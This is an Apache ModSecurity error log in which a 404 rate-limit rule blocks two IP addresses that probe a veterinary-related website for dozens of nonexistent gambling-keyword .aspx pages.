[Wed Jan 28 10:07:54.867509 2026] [:error] [pid 2454:tid 2482] [client 147.135.214.239:44750] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXlvepvv4I21Ywd7NNZgiQAAAZg"]
[Wed Jan 28 10:07:58.280918 2026] [:error] [pid 17535:tid 17549] [client 147.135.214.239:41452] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXlvfq3QiSMgVscnN5J93QAAAMs"]
[Wed Jan 28 10:08:03.013252 2026] [:error] [pid 17535:tid 17551] [client 147.135.214.239:41462] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXlvg63QiSMgVscnN5J94AAAAM0"]
[Wed Jan 28 10:08:06.562791 2026] [:error] [pid 17424:tid 17455] [client 147.135.214.239:40498] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXlvhmRvtDRvGDe-pIuksAAAABY"]
[Wed Jan 28 10:08:11.270518 2026] [:error] [pid 26993:tid 27017] [client 147.135.214.239:40510] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXlvi2nuZQRiIvPvxUuemQAAAdQ"]
[Wed Jan 28 10:08:14.627776 2026] [:error] [pid 64842:tid 64863] [client 147.135.214.239:40516] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXlvjluAAQZ5AN_SnDZiTQAAAVM"]
[Wed Jan 28 10:08:17.767966 2026] [:error] [pid 58254:tid 58271] [client 147.135.214.239:40204] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXlvkfF8nSyBg9wOsa92kAAAAQ8"]
[Wed Jan 28 10:08:21.526410 2026] [:error] [pid 17424:tid 17453] [client 147.135.214.239:40214] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXlvlWRvtDRvGDe-pIukxgAAABQ"]
[Wed Jan 28 10:08:24.844789 2026] [:error] [pid 17425:tid 17485] [client 147.135.214.239:40226] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXlvmKrcODKH1Dl7aZCCIwAAAFY"]
[Wed Jan 28 13:37:26.633402 2026] [:error] [pid 33491:tid 33573] [client 147.135.212.200:35034] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXmglmP9UY0x3irkINC6fwAAANY"]
[Wed Jan 28 13:37:29.319043 2026] [:error] [pid 33489:tid 33494] [client 147.135.212.200:55640] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXmgmRZrVZwQUFWC7__9VwAAAAE"]
[Wed Jan 28 13:37:31.879790 2026] [:error] [pid 2625:tid 2634] [client 147.135.212.200:55654] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXmgm1ZhY64HvuPd7w0BvwAAAUM"]
[Wed Jan 28 13:37:34.485353 2026] [:error] [pid 33580:tid 33591] [client 147.135.212.200:55668] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aXmgnplb0QJtwfka8l4HiwAAAQQ"]
[Wed Jan 28 13:37:37.109300 2026] [:error] [pid 33489:tid 33503] [client 147.135.212.200:58820] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aXmgoRZrVZwQUFWC7__9YgAAAAo"]
[Wed Jan 28 13:37:39.827703 2026] [:error] [pid 42740:tid 42754] [client 147.135.212.200:58826] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXmgo1njAS34srJlXgRFFwAAAIw"]
[Wed Jan 28 13:37:42.322176 2026] [:error] [pid 2625:tid 2643] [client 147.135.212.200:58838] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXmgplZhY64HvuPd7w0B0AAAAUw"]
[Wed Jan 28 13:37:44.814794 2026] [:error] [pid 33489:tid 33507] [client 147.135.212.200:58850] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXmgqBZrVZwQUFWC7__9awAAAA4"]
[Wed Jan 28 13:37:47.325226 2026] [:error] [pid 33490:tid 33541] [client 147.135.212.200:55042] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXmgq2jexcy58gsBPJEeuAAAAFE"]
[Wed Jan 28 13:37:49.796317 2026] [:error] [pid 33580:tid 33602] [client 147.135.212.200:55058] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXmgrZlb0QJtwfka8l4HowAAAQ8"]
[Wed Jan 28 13:37:52.448707 2026] [:error] [pid 33580:tid 33590] [client 147.135.212.200:55060] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aXmgsJlb0QJtwfka8l4HpwAAAQM"]
[Wed Jan 28 13:37:55.046366 2026] [:error] [pid 42740:tid 42751] [client 147.135.212.200:55076] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXmgs1njAS34srJlXgRFkAAAAIk"]
[Wed Jan 28 13:37:57.580770 2026] [:error] [pid 33580:tid 33592] [client 147.135.212.200:53460] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXmgtZlb0QJtwfka8l4HtQAAAQU"]
[Wed Jan 28 13:38:00.106042 2026] [:error] [pid 33489:tid 33504] [client 147.135.212.200:53470] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aXmguBZrVZwQUFWC7__9dAAAAAs"]
[Wed Jan 28 13:38:02.597780 2026] [:error] [pid 33489:tid 33509] [client 147.135.212.200:53480] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aXmguhZrVZwQUFWC7__9ewAAABA"]
[Wed Jan 28 13:38:05.271967 2026] [:error] [pid 2625:tid 2651] [client 147.135.212.200:53490] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXmgvVZhY64HvuPd7w0CXwAAAVQ"]
[Wed Jan 28 13:38:07.818417 2026] [:error] [pid 33489:tid 33499] [client 147.135.212.200:37410] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXmgvxZrVZwQUFWC7__9hAAAAAY"]
[Wed Jan 28 13:38:10.308623 2026] [:error] [pid 33636:tid 33640] [client 147.135.212.200:37412] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aXmgwtIVZAudQH0BSC7lXwAAAgI"]
[Wed Jan 28 13:38:12.763777 2026] [:error] [pid 2625:tid 2631] [client 147.135.212.200:37420] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aXmgxFZhY64HvuPd7w0CfgAAAUA"]
[Wed Jan 28 13:38:15.337149 2026] [:error] [pid 2625:tid 2654] [client 147.135.212.200:37432] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aXmgx1ZhY64HvuPd7w0CiAAAAVc"]
[Wed Jan 28 13:38:18.334230 2026] [:error] [pid 33490:tid 33546] [client 147.135.212.200:39288] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aXmgymjexcy58gsBPJEfLwAAAFY"]
[Wed Jan 28 13:38:20.798966 2026] [:error] [pid 33491:tid 33557] [client 147.135.212.200:39300] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aXmgzGP9UY0x3irkINC7HgAAAMY"]
[Wed Jan 28 13:39:05.384960 2026] [:error] [pid 24452:tid 24454] [client 147.135.212.200:39308] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aXmg-f0RQOh_GmqmVyb4mAAAAYA"]
[Wed Jan 28 13:39:07.809253 2026] [:error] [pid 33636:tid 33658] [client 147.135.212.200:57506] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXmg-9IVZAudQH0BSC7luAAAAhQ"]
[Wed Jan 28 13:39:10.193095 2026] [:error] [pid 33490:tid 33545] [client 147.135.212.200:57508] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXmg_mjexcy58gsBPJEfYgAAAFU"]
[Wed Jan 28 13:39:12.645565 2026] [:error] [pid 33636:tid 33638] [client 147.135.212.200:57512] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXmhANIVZAudQH0BSC7luwAAAgA"]
[Wed Jan 28 13:39:15.048572 2026] [:error] [pid 24482:tid 24487] [client 147.135.212.200:57524] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXmhA6LaUZr_xWekSHM7jwAAAcE"]
[Wed Jan 28 13:39:17.603280 2026] [:error] [pid 24482:tid 24505] [client 147.135.212.200:54792] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXmhBaLaUZr_xWekSHM7lgAAAdM"]
[Wed Jan 28 13:39:19.990918 2026] [:error] [pid 2625:tid 2637] [client 147.135.212.200:54808] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXmhB1ZhY64HvuPd7w0C6QAAAUY"]
[Wed Jan 28 13:39:22.518037 2026] [:error] [pid 2625:tid 2632] [client 147.135.212.200:54814] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aXmhClZhY64HvuPd7w0C8QAAAUE"]
[Wed Jan 28 13:39:24.917076 2026] [:error] [pid 2625:tid 2647] [client 147.135.212.200:54830] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aXmhDFZhY64HvuPd7w0C_AAAAVA"]
[Wed Jan 28 13:39:27.342854 2026] [:error] [pid 24482:tid 24504] [client 147.135.212.200:34160] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aXmhD6LaUZr_xWekSHM7twAAAdI"]
[Wed Jan 28 13:39:29.889019 2026] [:error] [pid 33580:tid 33610] [client 147.135.212.200:34166] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aXmhEZlb0QJtwfka8l4IQAAAARc"]
[Wed Jan 28 13:39:32.444775 2026] [:error] [pid 33491:tid 33567] [client 147.135.212.200:34174] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXmhFGP9UY0x3irkINC7pgAAANA"]
[Wed Jan 28 13:39:34.823442 2026] [:error] [pid 42740:tid 42759] [client 147.135.212.200:34178] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXmhFlnjAS34srJlXgRGcQAAAJE"]
[Wed Jan 28 13:39:37.369793 2026] [:error] [pid 33489:tid 33516] [client 147.135.212.200:35422] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXmhGRZrVZwQUFWC7__-FwAAABc"]
[Wed Jan 28 13:39:39.747102 2026] [:error] [pid 33580:tid 33600] [client 147.135.212.200:35434] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXmhG5lb0QJtwfka8l4ITAAAAQ0"]
[Wed Jan 28 13:39:42.267999 2026] [:error] [pid 42740:tid 42766] [client 147.135.212.200:35446] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXmhHlnjAS34srJlXgRGxwAAAJg"]
[Wed Jan 28 13:39:44.823681 2026] [:error] [pid 33491:tid 33551] [client 147.135.212.200:35452] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aXmhIGP9UY0x3irkINC7wAAAAMA"]
[Wed Jan 28 13:39:47.256104 2026] [:error] [pid 33580:tid 33591] [client 147.135.212.200:56360] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXmhI5lb0QJtwfka8l4IUAAAAQQ"]
[Wed Jan 28 13:39:49.766824 2026] [:error] [pid 2625:tid 2640] [client 147.135.212.200:56374] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXmhJVZhY64HvuPd7w0DPQAAAUk"]
[Wed Jan 28 13:39:52.165517 2026] [:error] [pid 24452:tid 24460] [client 147.135.212.200:56380] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXmhKP0RQOh_GmqmVyb5FgAAAYY"]
[Wed Jan 28 13:39:54.570881 2026] [:error] [pid 33636:tid 33639] [client 147.135.212.200:56392] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXmhKtIVZAudQH0BSC7l_QAAAgE"]
[Wed Jan 28 13:39:57.065080 2026] [:error] [pid 24482:tid 24498] [client 147.135.212.200:39870] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXmhLaLaUZr_xWekSHM8JgAAAcw"]
[Wed Jan 28 13:39:59.593178 2026] [:error] [pid 2625:tid 2631] [client 147.135.212.200:39880] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aXmhL1ZhY64HvuPd7w0DSQAAAUA"]
[Wed Jan 28 13:40:44.363320 2026] [:error] [pid 33580:tid 33596] [client 147.135.212.200:39888] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXmhXJlb0QJtwfka8l4IoAAAAQk"]
